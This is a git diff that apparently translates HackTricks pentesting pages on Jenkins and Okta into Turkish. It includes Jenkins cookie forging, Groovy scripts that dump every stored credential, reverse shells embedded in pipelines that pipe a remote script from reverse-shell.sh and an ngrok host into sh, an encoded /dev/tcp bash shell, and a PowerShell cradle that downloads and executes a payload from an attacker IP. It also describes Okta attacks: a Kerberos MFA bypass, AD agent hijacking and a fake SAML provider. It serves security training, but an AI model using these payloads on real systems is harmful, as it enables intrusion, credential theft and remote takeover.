+- Her kullanıcı için `$JENKINS_HOME/users/*.xml` dosyasından kullanıcı yapılandırması ve gizli bilgileri erişerek toplayın:
+- **Kullanıcı Adı**
+- **Kullanıcı tohum**
+- **Zaman damgası**
+- **Şifre hash'i**
-**Secret Key Extraction**
+**Gizli Anahtar Çıkartma**
-- Extract cryptographic keys used for signing the cookie:
- - **Secret Key:** `$JENKINS_HOME/secret.key`
- - **Master Key:** `$JENKINS_HOME/secrets/master.key`
- - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+- Çerezi imzalamak için kullanılan kriptografik anahtarları çıkartın:
+- **Gizli Anahtar:** `$JENKINS_HOME/secret.key`
+- **Anahtar:** `$JENKINS_HOME/secrets/master.key`
+- **MAC Anahtar Dosyası:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
-#### Step 2: Cookie Forging
+#### Adım 2: Çerez Sahteciliği
-**Token Preparation**
+**Token Hazırlığı**
-- **Calculate Token Expiry Time:**
+- **Token Süre Sonu Zamanını Hesaplayın:**
- ```javascript
- tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
- ```
+```javascript
+tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Mevcut zamana bir saat ekler
+```
-- **Concatenate Data for Token:**
+- **Token için Verileri Birleştirin:**
- ```javascript
- token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- ```
+```javascript
+token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+```
-**MAC Key Decryption**
+**MAC Anahtarının Şifre Çözümü**
-- **Decrypt MAC Key File:**
+- **MAC Anahtar Dosyasını Şifre Çözün:**
- ```javascript
- key = toAes128Key(masterKey) // Convert master key to AES128 key format
- decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
- if not decrypted.hasSuffix("::::MAGIC::::")
- return ERROR;
- macKey = decrypted.withoutSuffix("::::MAGIC::::")
- ```
+```javascript
+key = toAes128Key(masterKey) // Anahtarın AES128 anahtar formatına dönüştürülmesi
+decrypted = AES.decrypt(macFile, key) // .mac dosyasının şifre çözümü
+if not decrypted.hasSuffix("::::MAGIC::::")
+return ERROR;
+macKey = decrypted.withoutSuffix("::::MAGIC::::")
+```
-**Signature Computation**
+**İmza Hesaplama**
-- **Compute HMAC SHA256:**
+- **HMAC SHA256 Hesaplayın:**
- ```javascript
- mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
- tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
- ```
+```javascript
+mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesaplama
+tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştürme
+```
-**Cookie Encoding**
+**Çerez Kodlama**
-- **Generate Final Cookie:**
+- **Son Çerezi Oluşturun:**
- ```javascript
- cookie = base64.encode(
- username + ":" + tokenExpiryTime + ":" + tokenSignature
- ) // Base64 encode the cookie data
- ```
+```javascript
+cookie = base64.encode(
+username + ":" + tokenExpiryTime + ":" + tokenSignature
+) // Çerez verilerini Base64 ile kodlama
+```
-#### Step 3: Code Execution
+#### Adım 3: Kod Çalıştırma
-**Session Authentication**
+**Oturum Kimlik Doğrulaması**
-- **Fetch CSRF and Session Tokens:**
- - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+- **CSRF ve Oturum Token'larını Alın:**
+- `/crumbIssuer/api/json` adresine bir istek yaparak `Jenkins-Crumb` alın.
+- Yanıttan `JSESSIONID`'yi yakalayın, bu `remember-me` çerezi ile birlikte kullanılacaktır.
-**Command Execution Request**
+**Komut Çalıştırma İsteği**
-- **Send a POST Request with Groovy Script:**
+- **Groovy Script ile POST İsteği Gönderin:**
- ```bash
- curl -X POST "$JENKINS_URL/scriptText" \
- --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
- --header "Jenkins-Crumb: $CRUMB" \
- --header "Content-Type: application/x-www-form-urlencoded" \
- --data-urlencode "script=$SCRIPT"
- ```
+```bash
+curl -X POST "$JENKINS_URL/scriptText" \
+--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+--header "Jenkins-Crumb: $CRUMB" \
+--header "Content-Type: application/x-www-form-urlencoded" \
+--data-urlencode "script=$SCRIPT"
+```
- - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+- Groovy script, sistem düzeyinde komutları veya Jenkins ortamında diğer işlemleri çalıştırmak için kullanılabilir.
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins'e istek yapmanın nasıl yapılacağını gösterir ve keyfi kodu güvenli bir şekilde çalıştırır.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 8699b8159..a52ba59b4 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-You can **dump all the secrets from the Groovy Script console** in `/script` running this code
+> Bu scriptlerin yalnızca `credentials.xml` dosyasındaki gizli bilgileri listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla kimlik bilgisi** içerebilir.
+`/script` içindeki Groovy Script konsolundan **tüm gizli bilgileri dökebilirsiniz** bu kodu çalıştırarak
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
-
-#### or this one:
-
+#### ya da bu:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
- com.cloudbees.plugins.credentials.Credentials.class
+com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
- println(c.id)
- if (c.properties.description) {
- println(" description: " + c.description)
- }
- if (c.properties.username) {
- println(" username: " + c.username)
- }
- if (c.properties.password) {
- println(" password: " + c.password)
- }
- if (c.properties.passphrase) {
- println(" passphrase: " + c.passphrase)
- }
- if (c.properties.secret) {
- println(" secret: " + c.secret)
- }
- if (c.properties.secretBytes) {
- println(" secretBytes: ")
- println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
- println("")
- }
- if (c.properties.privateKeySource) {
- println(" privateKey: " + c.getPrivateKey())
- }
- if (c.properties.apiToken) {
- println(" apiToken: " + c.apiToken)
- }
- if (c.properties.token) {
- println(" token: " + c.token)
- }
- println("")
+println(c.id)
+if (c.properties.description) {
+println(" description: " + c.description)
+}
+if (c.properties.username) {
+println(" username: " + c.username)
+}
+if (c.properties.password) {
+println(" password: " + c.password)
+}
+if (c.properties.passphrase) {
+println(" passphrase: " + c.passphrase)
+}
+if (c.properties.secret) {
+println(" secret: " + c.secret)
+}
+if (c.properties.secretBytes) {
+println(" secretBytes: ")
+println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
+println("")
+}
+if (c.properties.privateKeySource) {
+println(" privateKey: " + c.getPrivateKey())
+}
+if (c.properties.apiToken) {
+println(" apiToken: " + c.apiToken)
+}
+if (c.properties.token) {
+println(" token: " + c.token)
+}
+println("")
}
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 89ca15223..29477a663 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -2,42 +2,36 @@
{{#include ../../banners/hacktricks-training.md}}
-## Creating a new Pipeline
+## Yeni Bir Pipeline Oluşturma
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+"Yeni Öğe" ( `/view/all/newJob` adresinde erişilebilir) kısmında **Pipeline** seçin:
.png>)
-In the **Pipeline section** write the **reverse shell**:
+**Pipeline bölümünde** **reverse shell** yazın:
.png>)
-
```groovy
pipeline {
- agent any
+agent any
- stages {
- stage('Hello') {
- steps {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
- '''
- }
- }
- }
+stages {
+stage('Hello') {
+steps {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+'''
+}
+}
+}
}
```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+Son olarak **Kaydet** ve **Şimdi Oluştur** butonuna tıklayın, ve pipeline çalıştırılacaktır:
.png>)
-## Modifying a Pipeline
+## Bir Pipeline'ı Değiştirme
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+Eğer yapılandırılmış bir pipeline'ın yapılandırma dosyasına erişiminiz varsa, sadece **ters shell'inizi ekleyerek değiştirmeniz** yeterlidir ve ardından çalıştırabilir veya çalıştırılmasını bekleyebilirsiniz.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index f16096070..37ff94fd4 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -4,37 +4,33 @@
## Creating a Project
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+Bu yöntem çok gürültülü çünkü tamamen yeni bir proje oluşturmanız gerekiyor (bu, kullanıcının yeni bir proje oluşturmasına izin veriliyorsa çalışır).
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
- 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
- 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`**
+1. **Yeni bir proje oluşturun** (Freestyle projesi) "Yeni Öğe"ye tıklayarak veya `/view/all/newJob` adresine giderek
+2. **Build** bölümünde **Shell'i çalıştır** seçeneğini ayarlayın ve bir powershell Empire başlatıcısı veya bir meterpreter powershell yapıştırın (bu _unicorn_ kullanılarak elde edilebilir). Yükü _PowerShell.exe_ ile başlatın, _powershell._ yerine.
+3. **Şimdi inşa et** butonuna tıklayın
+1. **Şimdi inşa et** butonu görünmüyorsa, yine de **yapılandır** --> **Yapı Tetikleyicileri** --> `Düzenli olarak inşa et` kısmına gidebilir ve `* * * * *` şeklinde bir cron ayarlayabilirsiniz.
+2. Cron kullanmak yerine, sadece işi tetiklemek için bir api token adı ayarlamanız gereken "**Uzakta inşaat tetikleyin**" yapılandırmasını kullanabilirsiniz. Ardından kullanıcı profilinize gidin ve **bir API token oluşturun** (bu API token'ı işi tetiklemek için kullandığınız gibi adlandırın). Son olarak, işi tetiklemek için: **`curl :@/job//build?token=`**
.png>)
## Modifying a Project
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+Projeleri kontrol edin ve **herhangi birini yapılandırıp yapılandıramayacağınızı** kontrol edin ( "Yapılandır" butonunu arayın):
.png>)
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+Eğer **hiçbir** **yapılandırma** **butonu** göremiyorsanız, muhtemelen **yapılandıramazsınız** (ancak bazı projeleri yapılandırma yetkiniz olabilir, bu yüzden tüm projeleri kontrol edin).
-Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+Ya da her projede **/job//configure** veya **/me/my-views/view/all/job//configure** yoluna erişmeyi **deneyin** (örnek: `/job/Project0/configure` veya `/me/my-views/view/all/job/Project0/configure`).
## Execution
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+Projeyi yapılandırmanıza izin veriliyorsa, **başarılı bir inşaat olduğunda komutları çalıştırmasını sağlayabilirsiniz**:
.png>)
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+**Kaydet**'e tıklayın ve projeyi **inşa edin** ve **komutunuz çalıştırılacaktır**.\
+Eğer bir ters shell çalıştırmıyorsanız ama basit bir komut çalıştırıyorsanız, **komutun çıktısını inşaatın çıktısında görebilirsiniz**.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 33821cc03..64db32da3 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,24 +4,21 @@
## Jenkins RCE with Groovy Script
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path_jenkins/script_
-2. Inside the text box introduce the script
+Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülüdür.
+1. _path_jenkins/script_ yoluna gidin
+2. Metin kutusuna script'i ekleyin
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
+Bir komutu şu şekilde çalıştırabilirsiniz: `cmd.exe /c dir`
-You could execute a command using: `cmd.exe /c dir`
+**linux** üzerinde şunu yapabilirsiniz: **`"ls /".execute().text`**
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
+Metin içinde _tırnak_ ve _tek tırnak_ kullanmanız gerekiyorsa, yükü çalıştırmak için _"""PAYLOAD"""_ (üçlü çift tırnak) kullanabilirsiniz.
+**Başka bir yararlı groovy script** şudur ( \[INSERT COMMAND] kısmını değiştirin):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-
-### Reverse shell in linux
-
+### Linux'te Ters Shell
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
+### Windows'ta Ters Shell
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
+Bir PS ters shell ile bir HTTP sunucusu hazırlayabilir ve bunu indirmek ve çalıştırmak için Jeking kullanabilirsiniz:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-
### Script
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
+Bu süreci [**bu script ile**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) otomatikleştirebilirsiniz.
+Ters bir shell almak için MSF kullanabilirsiniz:
```
msf> use exploit/multi/http/jenkins_script_console
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index e682996c2..7357a60ee 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -1,118 +1,114 @@
-# Okta Security
+# Okta Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
+[Okta, Inc.](https://www.okta.com/) kimlik ve erişim yönetimi sektöründe bulut tabanlı yazılım çözümleri ile tanınmaktadır. Bu çözümler, çeşitli modern uygulamalar arasında kullanıcı kimlik doğrulamasını kolaylaştırmak ve güvence altına almak için tasarlanmıştır. Hassas verilerini korumak isteyen şirketlere ve uygulamalara, web hizmetlerine ve cihazlara kimlik kontrollerini entegre etmekle ilgilenen geliştiricilere hitap etmektedir.
-The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
+Okta'nın amiral gemisi ürünü **Okta Identity Cloud**'dır. Bu platform, aşağıdakiler de dahil olmak üzere bir dizi ürünü kapsamaktadır:
-- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-- **Universal Directory**: Enables centralized management of users, groups, and devices.
-- **API Access Management**: Secures and manages access to APIs.
+- **Tek Oturum Açma (SSO)**: Birden fazla uygulama arasında tek bir oturum açma kimlik bilgisi seti ile kullanıcı erişimini basitleştirir.
+- **Çok Faktörlü Kimlik Doğrulama (MFA)**: Birden fazla doğrulama biçimi gerektirerek güvenliği artırır.
+- **Yaşam Döngüsü Yönetimi**: Kullanıcı hesaplarının oluşturulması, güncellenmesi ve devre dışı bırakılması süreçlerini otomatikleştirir.
+- **Evrensel Dizin**: Kullanıcıların, grupların ve cihazların merkezi yönetimini sağlar.
+- **API Erişim Yönetimi**: API'lere erişimi güvence altına alır ve yönetir.
-These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
+Bu hizmetler, veri korumasını güçlendirmeyi ve kullanıcı erişimini kolaylaştırmayı amaçlamaktadır, böylece hem güvenliği hem de rahatlığı artırmaktadır. Okta'nın çözümlerinin çok yönlülüğü, onları çeşitli endüstrilerde popüler bir seçim haline getirmekte, büyük işletmelere, küçük şirketlere ve bireysel geliştiricilere fayda sağlamaktadır. Eylül 2021'deki son güncelleme itibarıyla, Okta Kimlik ve Erişim Yönetimi (IAM) alanında önde gelen bir varlık olarak kabul edilmektedir.
> [!CAUTION]
-> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
+> Okta'nın ana hedefi, farklı kullanıcılar ve gruplar için dış uygulamalara erişimi yapılandırmaktır. Eğer bir **Okta** ortamında **yönetici ayrıcalıklarını ele geçirirseniz**, şirketin kullandığı **diğer tüm platformları ele geçirme** olasılığınız oldukça yüksektir.
> [!TIP]
-> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
+> Bir Okta ortamının güvenlik incelemesini gerçekleştirmek için **yönetici salt okunur erişimi** talep etmelisiniz.
-### Summary
+### Özet
-There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
-These users can be inside **groups**.\
-There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
+**Kullanıcılar** (Okta'da **saklanabilir**, yapılandırılmış **Kimlik Sağlayıcılarından** oturum açabilir veya **Active Directory** veya LDAP aracılığıyla kimlik doğrulaması yapılabilir).\
+Bu kullanıcılar **gruplar** içinde olabilir.\
+Ayrıca **kimlik doğrulayıcılar** vardır: şifre gibi kimlik doğrulama için farklı seçenekler ve WebAuthn, e-posta, telefon, Okta doğrulama gibi çeşitli 2FA (bunlar etkinleştirilebilir veya devre dışı bırakılabilir)...
-Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
+Daha sonra, Okta ile senkronize edilmiş **uygulamalar** vardır. Her uygulama, bilgi paylaşmak için Okta ile bazı **eşleştirmelere** sahip olacaktır (örneğin e-posta adresleri, adlar...). Ayrıca, her uygulama bir **Kimlik Doğrulama Politikası** içinde olmalıdır; bu, bir kullanıcının uygulamaya **erişmesi** için gereken **kimlik doğrulayıcıları** belirtir.
> [!CAUTION]
-> The most powerful role is **Super Administrator**.
+> En güçlü rol **Süper Yönetici**dir.
>
-> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
+> Eğer bir saldırgan Okta'yı Yönetici erişimi ile ele geçirirse, **Okta'ya güvenen tüm uygulamalar** büyük olasılıkla **ele geçirilmiş** olacaktır.
-## Attacks
+## Saldırılar
-### Locating Okta Portal
+### Okta Portalını Bulma
-Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
+Genellikle bir şirketin portalı **companyname.okta.com** adresinde bulunur. Eğer bulamazsanız, **companyname.** için basit **varyasyonlar** deneyin. Bulamazsanız, organizasyonun **Okta portalına** işaret eden **CNAME** kaydı olabilir, örneğin **`okta.companyname.com`**.
-### Login in Okta via Kerberos
+### Kerberos ile Okta'ya Giriş
-If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
+Eğer **`companyname.kerberos.okta.com`** aktifse, **Kerberos Okta erişimi için kullanılır**, genellikle **Windows** kullanıcıları için **MFA**'yı atlayarak. AD'de Kerberos ile kimlik doğrulaması yapılmış Okta kullanıcılarını bulmak için **`getST.py`**'yi **uygun parametrelerle** çalıştırın. Bir **AD kullanıcı bileti** elde ettikten sonra, bunu kontrol edilen bir hosta **Rubeus** veya **Mimikatz** gibi araçlar kullanarak **enjekte** edin, **`clientname.kerberos.okta.com`'un Internet Seçenekleri "İntranet" alanında** olduğundan emin olun. Belirli bir URL'ye erişmek, Kerberos biletinin kabul edildiğini gösteren bir JSON "OK" yanıtı döndürmeli ve Okta kontrol paneline erişim sağlamalıdır.
-Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
+**Okta hizmet hesabını delege SPN ile ele geçirmek, bir Silver Ticket saldırısını mümkün kılar.** Ancak, Okta'nın bilet şifrelemesi için **AES** kullanması, AES anahtarına veya düz metin şifresine sahip olmayı gerektirir. **`ticketer.py`'yi kullanarak kurban kullanıcı için bir bilet oluşturun** ve bunu tarayıcı aracılığıyla Okta ile kimlik doğrulamak için iletin.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking Okta AD Agent
+### Okta AD Ajanını Ele Geçirme
-This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
+Bu teknik, **kullanıcıları senkronize eden ve kimlik doğrulamasını yöneten bir sunucudaki Okta AD Ajanına erişmeyi** içerir. **`OktaAgentService.exe.config`** dosyasındaki yapılandırmaları inceleyerek ve şifrelerini çözerek, özellikle **DPAPI** kullanarak AgentToken'ı ele geçiren bir saldırgan, kimlik doğrulama verilerini **yakalama ve manipüle etme** potansiyeline sahip olabilir. Bu, yalnızca Okta kimlik doğrulama sürecinde kullanıcı kimlik bilgilerini düz metin olarak **izleme** ve **yakalama** sağlamakla kalmaz, aynı zamanda kimlik doğrulama girişimlerine **yanıt verme** yeteneği de sağlar; böylece yetkisiz erişim sağlanabilir veya Okta aracılığıyla evrensel kimlik doğrulama sağlanabilir (bir 'skeleton key' gibi).
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking AD As an Admin
+### Yönetici Olarak AD'yi Ele Geçirme
-This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
+Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi içerir, ardından bir API token'ı talep edilir. Token, bir AD alanı ile ilişkilidir ve **sahte bir AD ajanı oluşturmak için bir bağlantı adı verilir**. Başlatma, ajanın **kimlik doğrulama girişimlerini işleme** almasına olanak tanır ve Okta API'si aracılığıyla kimlik bilgilerini yakalar. Bu süreci kolaylaştırmak için otomasyon araçları mevcuttur ve Okta ortamında kimlik doğrulama verilerini yakalamak ve işlemek için sorunsuz bir yöntem sunar.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Okta Fake SAML Provider
+### Okta Sahte SAML Sağlayıcısı
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
+Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın çerçevesine bir dış Kimlik Sağlayıcısı (IdP) entegre ederek, saldırganlar **IdP'yi kontrol edebilir ve istedikleri zaman herhangi bir kimlik doğrulama talebini onaylayabilir**. Süreç, Okta'da bir SAML 2.0 IdP kurmayı, yerel hosts dosyası aracılığıyla yönlendirme için IdP Tek Oturum Açma URL'sini manipüle etmeyi, kendinden imzalı bir sertifika oluşturmayı ve Okta ayarlarını kullanıcı adı veya e-posta ile eşleşecek şekilde yapılandırmayı içerir. Bu adımları başarıyla gerçekleştirmek, herhangi bir Okta kullanıcısı olarak kimlik doğrulama sağlamaya olanak tanır; bu, bireysel kullanıcı kimlik bilgilerine ihtiyaç duymadan erişim kontrolünü önemli ölçüde artırır.
-### Phishing Okta Portal with Evilgnix
+### Evilgnix ile Okta Portalını Phishing
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
+[**Bu blog yazısında**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) bir Okta portalına karşı bir phishing kampanyası hazırlamanın nasıl yapılacağı açıklanmaktadır.
-### Colleague Impersonation Attack
+### Meslektaş Taklit Saldırısı
-The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
+Her kullanıcının sahip olabileceği ve değiştirebileceği **nitelikler** (örneğin e-posta veya ad) Okta'da yapılandırılabilir. Eğer bir **uygulama**, bir kullanıcının **değiştirebileceği** bir **nitelik** olarak **güveniyorsa**, o platformda **diğer kullanıcıları taklit etme** yeteneğine sahip olacaktır.
